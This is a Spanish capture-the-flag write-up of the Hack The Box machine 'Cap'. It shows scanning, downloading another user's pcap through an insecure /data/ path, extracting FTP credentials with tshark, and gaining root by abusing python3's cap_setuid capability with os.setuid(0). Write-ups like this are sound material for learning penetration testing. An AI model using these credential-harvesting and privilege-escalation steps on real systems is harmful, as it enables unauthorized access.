Para empezar como siempre hacemos ping a la ip de la máquina
ping -c 1 10.10.10.245
Pasamos al scaneo con nmap y guardamos el resultado en allPorts
nmap -p- --open -sS --min-rate 5000 -vvv -n 10.10.10.245 -Pn -oG allPorts
Nos teporta que tenemos abiertos los siguientes puertos
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Ahora nos interesa encontrar sus versiones
nmap -sVC -p21,22,80 10.10.10.245 -oN targeted
ORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa80a9b2ca3b8869a4289e390d27d575 (RSA)
| 256 96d8f8e3e8f77136c549d59db6a4c90c (ECDSA)
|_ 256 3fd0ff91eb3bf6e19f2e8ddeb3deb218 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
probamos la version de ftp, que es vulnerable, pero estoy en una maquina con parrot y despues de pasar un rato investigando no funciona el servicio ftp , intento instalar me vsftpd y no tengo resultados.
Paso a buscar el servicio del puerto 80 con whatweb:
whatweb http://10.10.10.245
http://10.10.10.245 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn], IP[10.10.10.245], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-Compatible[ie=edge]
nmap --script http-enum -p80 10.10.10.245 -oN webscan
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-27 22:23 CET
Nmap scan report for 10.10.10.245
Host is up (0.19s latency).
PORT STATE SERVICE
80/tcp open http
Veo que tene alojada una pagina web. Desde el navegador entro y miro en los enlaces que hay a donde me lleva. Encuentro el subdirectorio data, veo que en data/1 puedo descargarme una archivo 1.cap
Pruebo a ver si funciona con otrso numeros. veo que 0.cap tambien me permite descargarme otro archivo.
http://10.10.10.245/data/0
pero son ficheros que no contienen nada más de la respuesta obtenida con el segundo exaneo de namp que guardamos en un fichero llamado targeted.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa80a9b2ca3b8869a4289e390d27d575 (RSA)
| 256 96d8f8e3e8f77136c549d59db6a4c90c (ECDSA)
|_ 256 3fd0ff91eb3bf6e19f2e8ddeb3deb218 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Sun, 27 Oct 2024 21:18:47 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
paso este archivo que he capturado por un tsharck
tshark -r 0.pcap -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r
y obtengo mucha informacion entre ella el nombre de usuario de esta máquina, que he podido ver desde la pagina web y unas credenciales.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
intento conectarme por ssh al usuario nathan y pongo ese password que he encontrado
ssh nathan@10.10.10.245
nathan@cap:~$ ls
user.txt
ahy puedo ver la flag de hack the box de usuario, voy a buscar la de root. Con sudo -l veo que no tengo permisos
nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, try again.
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.
hago un id para ver que a que gurpos pertenezco
athan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
No pertenezco z ningun grupo especial, con find busca permisos suid
nathan@cap:~$ find /-perm -4000 -user root 2>/dev/null | xargs ls -l
total 4
-r-------- 1 nathan nathan 33 Oct 27 20:56 user.txt
No veo nada, voy a ejecutar getcap
getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Veo que tengo permisos suid en python, ya solo me queda conectarme a python importat la libreria os, ejecutar comandos desde system, cambiar mi uid a 0 que es el de root y ya podre ver la fag
nathan@cap:~$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system ("whoami")
nathan
0
>>> os.setuid(0)
>>> os.system ("whoami")
root
0
>>> os.system("bash")
root@cap:~# ls
user.txt